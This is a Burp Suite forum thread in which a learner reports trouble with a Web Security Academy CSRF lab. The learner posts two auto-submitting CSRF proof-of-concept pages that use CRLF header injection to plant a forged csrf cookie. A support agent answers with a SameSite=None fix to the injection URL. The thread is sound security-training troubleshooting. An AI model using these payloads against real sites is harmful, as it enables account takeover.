Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

Bug in the lab: CSRF where token is duplicated in cookie

Hamdi | Last updated: Oct 08, 2022 11:45PM UTC

Hi, I tried to solve the lab but it seems there is a bug. I tried both the Burp and the community solution but I wasn't able to solve it. When I click "View exploit" in the exploit server and then I inspect the request in the Proxy history I find that the csrf cookie is set with the original value and not the fake one I already injected in the exploit payload. I tried the below payloads: Payload 1: <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://0aa3001a030e99bac04f10a40056005a.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="ham&#64;di&#46;com" /> <input type="hidden" name="csrf" value="fake" /> <input type="submit" value="Submit request" /> </form> <img src="https://0aa3001a030e99bac04f10a40056005a.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake" onerror="document.forms[0].submit()"> </body> </html> ************* Payload 2: <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://0aa3001a030e99bac04f10a40056005a.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="ham&#64;di&#46;com" /> <input type="hidden" name="csrf" value="fake" /> <input type="submit" value="Submit request" /> </form> <img src="https://0aa3001a030e99bac04f10a40056005a.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake" onerror="document.forms[0].submit();" /> </body> </html>

Michelle, PortSwigger Agent | Last updated: Oct 10, 2022 08:50AM UTC

Thanks for your message. There has been a recent change to the exploit server, so you'll need to add an extra bit to the $cookie-injection-url, so it includes SameSite=None, we'll be updating the solution soon. https://<your-lab-id>/?search=test%0d%0aSet-Cookie:%20csrf=fake;%20SameSite=None

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.